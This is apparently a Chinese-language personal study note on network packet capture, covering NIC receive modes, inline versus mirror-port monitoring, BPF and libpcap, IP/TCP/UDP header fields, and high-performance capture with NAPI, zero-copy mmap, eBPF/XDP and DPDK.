  1. 与自己mac地址相匹配的数据帧

  2. 发向所有机器的广播数据帧

网卡收发数据步骤

  1. 网卡接收到传输来的数据,由网卡内的单片程序接收数据帧的目的MAC地址,并由网卡驱动程序的接受模式判断该不该接收

  2. 如果认为接收则产生中断信号通知CPU

  3. 认为不接收则直接丢弃

  4. CPU得到中断信号产生中断,操作系统根据网卡驱动程序设置的网卡中断程序地址调用驱动程序接收数据

  5. 驱动程序接收数据后放入信号堆栈让操作系统处理。

网卡有四种接收方式

  1. 广播方式:该模式下的网卡能够接收网络中的广播信息。

  2. 组播方式:设置在该模式下的网卡能够接收组播数据。

  3. 直接方式:在这种模式下,只接收目的网卡的数据

  4. 混杂模式:在这种模式下的网卡能够接受一切通过它的数据,而不管这个数据是否是传给他的。

被动获取

这里的被动指的是监听/嗅探的方式,收集流经设备的流量。

主要分为串行和旁路模式

Untitled

旁路模式的常见网络设备主要是 集线器、交换机

串行模式的常见网络设备主要是 网桥、网关、路由器

进而划分串联监控模式和旁路监控模式

旁路监控主要依赖”镜像端口”功能来实现监控,也就是将数据复制为两份,一份发给镜像端口,一份发给目的端口。

优缺点:

旁路部署起来比较灵活方便,不会影响现有的网络结构,串行需要对现有网络结构进行变动。

旁路模式对原始传递的数据包不会造成时延,不会对网速造成任何影响。而串联模式是串联在网络中的,所有的数据都需要先经过监控系统,检查之后再发给各个客户端,有一定的时延。

旁路监控设备一旦故障或者停止运行,不会影响现有网络,而串联监控设备如果出现故障,会导致网络中断,导致网络单点故障。

总结:

  1. 对网络结构影响

  2. 时延

  3. 单点故障

但是同样旁路也存在局限性。

**数据获取:**旁路需要交换机支持端口镜像才可以实现监控。

**数据管控:**旁路模式采用发送RST包的方式来断开TCP连接,不能禁止UDP通讯。对于UDP应用,还需要在路由器上面禁止UDP端口进行配合。而串联模式不存在这个问题。

串行适用的网络产品:防火墙,数据包过滤设备。

旁路适用的网络设备:内容审计,内容分析,检测设备。

数据分流技术

Untitled

主要有三种分流的方式:

  1. 分光器 将光缆上的光信号直接备份出一份,最简单的方式,设备要求最高。

  2. 路由交换 交换机需要通过镜像端口

  3. HUB 集线器能够看到所有端口的报文

包捕获技术

为了实现被动捕包,将在数据链路层设置旁路监听。

基于socket的网络的编程方法

思路是将网络通讯当作”文件”描述字符进行处理,极大地简化了网络程序开发过程。

Linux内核版本2.0以前的一种套接字类型,可以接收网络上所有的数据包。

数据链路提供者接口(DLPI)

Data Link Provider Interface,定义了数据链路层向网络层提供的服务,是数据链路服务的提供者和使用者之间的一种标准接口,在实现上基于Unix的流机制。数据链路层服务的使用者既可以是用户的应用程序,也可以是访问数据链路服务的高层协议,比如TCP/IP等。

实际上是一种物理设备辅助(

BPF 伯克利数据包过滤器

这个过滤器工作在操作系统的内核层,主要由网络转发部分和数据包过滤两部分组成

效率很高,而且使用了数据缓存机制,使捕获数据包缓存在内核中,达到一定数量再传递给程序。

实际应用上用Libpcap实现

Untitled

理论上来说即使被iptables封禁了某些数据包,tcpdump仍可以抓到,因为tcpdump作用于网络接口层,而iptables作用于IP协议层,tcpdump理论可以先抓到包。

一些常用的库

libnet

提供的接口函数主要实现和封装了数据包的构造和发送过程

libpcap

提供的接口函数主要实现和封装了与数据包截获有关的过程

libnids

提供的接口函数主要实现了开发网络入侵监测系统所必须的一些结构框架

Libdnet

通用网络安全开发包

libicmp等

相对较为简单,封装的是ICMP数据包的主要处理过程(构造、发送、接收等)

协议的关键字段IP/TCP/UDP

IP数据包

Untitled

如图所示,每一行为4Bytes,也就是32bits

固定部分有20Bytes。对于可选字段来说,一般是32bit(4Bytes)的整数倍,无最小,最大为40Bytes,当有可选项字段不足32bits的时候,余下的部分用无用数据来填充,所以一个完整的IP包头,最小为20Bytes,最大为60Bytes。

版本号(4bits):

告知IP地址是ipv4地址还是ipv6地址

首部长度(4bits):

告知这个数据包头的长度,由此推断出有无可选项

服务类型TOS(8bits):

按位被定义为 PPP DTRM0
PPP:定义包的优先级,取值越大数据越重要
000 普通 (Routine)
001 优先的 (Priority)
010 立即的发送 (Immediate)
011 闪电式的 (Flash)
100 比闪电还闪电式的 (Flash Override)
101 CRI/TIC/ECP(找不到这个词的翻译)
110 网间控制 (Internetwork Control)
111 网络控制 (Network Control)
D 时延: 0:普通 1:延迟尽量小
T 吞吐量: 0:普通 1:流量尽量大
R 可靠性: 0:普通 1:可靠性尽量大
M 传输成本: 0:普通 1:成本尽量小
0 最后一位被保留,恒定为0

总长度(16bits):

告知IP数据报文的总长度(包括被分片数据在内),最大承载量为1500字节,超过将进行数据分片

片偏移量(13bits):

决定IP分片数据的先后顺序,只能是0或1480的倍数,第一个分片数据发送时偏移量为0,第二个为1480,第三个为2960,以此类推。目的端重组数据包时靠偏移量来按顺序组合分片数据

标志位(3bits):

第一位bit未启用为0

第二位bit如果需要分片第二位为0,不需要分片第二位为1

第三位比特为1代表还有后续分片,为0代表为最后一个分片共有三种情况:
001(需要分片且还有后续分片)
000(需要分片且当前为最后一个分片)
010(不需要分片)

标识符(16bits):

区分不同的IP数据包的分片数据,在目的端重组分片数据时能快速找到同一数据包的分片数据

生存时间TTL(8bits):

范围为1-255;单位为跳数,数据包每经过一台路由器即为一跳,TTL值减一;当TTL为0时,丢弃数据包。作用是防止数据包在网络中永久的循环
Windows系统TTL一般为128,Linux系统TTL为1-128之间,通常为56,64。注:跳点跟踪命令:tracert IP地址

协议(8bits):

区分上层协议;6代表TCP协议,17代表UDP协议

首部校验和(16bits):

校验三层IP包头是否有误

源IP地址(32 bits):

指发送数据包的主机地址

目的IP地址(32 bits):

指接收数据包的目标主机地址

选项字段:

通常不会使用到,因为IP包头部分的长度单位为32bit,因此可选项字段的长度必须为32bit的整数倍,当使用时且剩余部分不足32bit会自动填充无用数据来补足32bit。

UDP数据包

这个容易理解,首部大小为8 Bytes,注意这里是数据包长度

Untitled

TCP数据包

Untitled

flag位:

1)CWR、ECE,与IP首部的ECN字段对应,ECE标志为1,则通知对方网络拥塞,已将拥塞窗口缩小。
2)URG:urgent flag,置1是表示数据需要紧急处置
3)ACK:acknowledgement flag,置1时,确认应答字段有效,除了建立连接的SYN包之外均应置1
4)PSH:push flag,置1时,应立刻传给上层应用协议,PSH置0时,并不需要立刻传而是先缓存
5)RST:reset flag,置1时表示TCP连接出现异常必须紧急断开连接。
6)SYN:synchronize flag,用于建立连接,并在其序列号字段进行序列号初始值设置。
7)FIN:finish flag,置1时希望断开连接。

5-1.校验和:16位,包括首部和数据这两部分。在计算检验和时,要在TCP报文段的前面加上12字节的伪首部。

网络捕包的基本流程

  1. 把网卡等同于文件进行I/O

    查找网卡:Find all devices()

    打开网卡:open()

  2. 从网卡中读取数据

    监听:loop()

    数据回传给用户变量

  3. 处理获取的数据

    转用户程序执行:Handler()

  4. 释放I/O资源

与TCP有关

读者不懒,读者不懒不太可能。

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

高性能捕包

造成丢包的主要原因是:

  1. CPU处于频繁中断状态,造成接收数据包效率低下。

  2. 数据包被多次拷贝,浪费了大量的时间和资源。从网卡驱动到内核,再到内核到用户空间。

Linux传统优化技术-NAPI技术(DMA)

NAPI(New API)技术是linux上采用的一种提高网络处理效率的技术,它的核心就是不采用中断的方式读取数据,取而代之的是采用中断唤醒数据接收的服务程序(软中断),然后用POLL的方法来轮询数据。

NAPI技术的设备轮询机制具体特点如下:

  1. 当一个网卡接收到一个数据包,便产生一个中断信号给系统

  2. 系统进行如下操作:

关闭网卡中断(屏蔽了中断信号,网卡仍然可以接收数据报到缓冲队列)

激活轮询进程,对该网卡进行轮询(处理缓冲队列)

打开网卡中断(解除屏蔽中断信号)

Untitled

DMA技术

DMA技术不过多介绍了,可以在DMA控制器下,将数据从网卡拷贝到主存,拷贝过程中,CPU是不参与的。直接避免开销。

无锁环形队列

Untitled

通过mmap实现零拷贝I/O

Untitled

简单来说就是将内存直接映射到内核区域,不需要经过拷贝了,只是页表的替换(

mmap原理:虚拟内存可以通过页目录,页表映射到物理内存地址,也可以直接映射到物理磁盘(文件)上。当内核的一块内存区域映射到一个文件,而用户进程(server进程)又关联到这个文件,那么用户即可直接操作这块区域了。此时如果映射的内存是DMA的内存区域,即可实现零拷贝

传统的报文分组捕获模型和零拷贝报文获取方式对比

Untitled

Untitled

ebpf技术(kernel bypass)

bpf是linux内核中高度灵活和高效的类似虚拟机的技术,允许以安全的方式在各个挂钩点执行字节码。它用于许多Linux内核子系统,最突出的是网络、跟踪和安全。

ebpf是比较新的扩展的BPF技术,具有更为庞大的功能体系。

实际上的运用就是kernel bypass技术,也就是内核旁路技术,跳过内核的网络层,在用户态user-space做全部的包处理。kernel bypass涉及到从user-space管理NIC(network interface controller,网卡),也就是需要用户态的驱动程序来处理NIC。

用户态程序完全控制NIC,有什么好处呢?减少了内核开销;等

坏处呢?用户程序需要直接管理硬件;kernel被完全跳过,所以内核提供的所有网络功能也被跳过,用户程序可能需要实现一些原来内核提供的功能;

BPF是一个VM,它定义了一个程序执行的环境。除了字节码,它还定义了基于数据包的内存模型(packet-based memory model)、寄存器(A and X; Accumulator ans Index register)、暂存内存(scratch memory)、隐式程序计数器(implicit pc)。

xdp(kernel bypass)

XDP的全称是:eXpress Data Path

XDP是Linux内核中提供高性能、可编程的网络数据包处理框架。

  1. 直接接管网卡的RX数据包(类似DPDK用户态驱动)处理

  2. 通过运行BPF指令快速处理报文

  3. 和linux协议栈无缝对接

哈哈难蹦,原来是和ebpf一块工作的,如图:

Untitled

NIC中接收到数据包之后。该checkpoint应将数据包传递给eBPF程序,该程序将决定如何处理该数据包:丢弃该数据包(drop)或让其继续通过正常路径(pass). 就像这幅图一样

DPDK(Data Plane Development Kit)高性能包处理(kernel bypass)

产生背景

传统框架的局限性:传统Linux/Unix系统中的协议栈对数据包的处理具有一定的局限性。网卡驱动程序运行在Linux的内核态,被动捕包的性能收到以下因素的影响。

内核态和用户态之间的内容拷贝,多线程调度,系统中断

互联网网络规模迅速扩张

高速网络应用开发的需求

什么是DPDK

基于linux运行,是一个快速处理数据包的函数库和驱动集合。

在用户态实现数据包的收发和处理,绕过了kernel协议栈对数据包的处理过程,也就是kernel bypass。

DPDK关键技术

传统技术缺点:

硬件中断导致的线程/进程切换

内存拷贝

多处理器平台的CPU漂移

缓存失效

UIO技术

当然UIO现在也变成了linux的核心技术

UIO,即Userspace I/O内核驱动,它在Linux kernel的世界比较小众,主要服务于一些定制设备。UIO负责将中断和设备内存暴露给用户空间,然后再由UIO用户态驱动实现具体的业务。

UIO干了什么事:

在内核区域放置了一段代码,用来监听硬件中断轮询 内核空间驱动

在用户空间实现了读取硬件设备内存,甚至硬件寄存器等 用户空间驱动

当然这个轮询(PMD)是流量大的时候处理的。

Untitled

Untitled

对于多核也有支持

cpu affinity机制,将进程放在指定的CPU上尽量长地运行而不迁移到其他处理器,避免cpu cache missing,也减少了进程和线程地上下文切换,从而提高性能和效率。

使用NUMA亲和,避免CPU跨NUMA访问内存。CPU访问自己的物理地址(cache),有较短的响应时间,俗称Local Access,如果要访问其他CPU attach的内存,就需要通过inter-connect通道来访问,要慢一些,俗称Remote Access,在DPDK中,可以灵活地使用Local Access和Remote Access来提高访问速度。

大页表技术

Untitled

Untitled

内存池技术

DPDK在用户空间实现了一套精致的内存池拷贝技术,内核空间和用户空间的内存交互不需要进行拷贝,只做控制权转移,这样就减少了内存拷贝的开销。

大页内存管理

兼容上层API申请大内存(

无锁环境队列

PMD技术

无中断开销

EBPF/XDP和DPDK的区别

Untitled

Untitled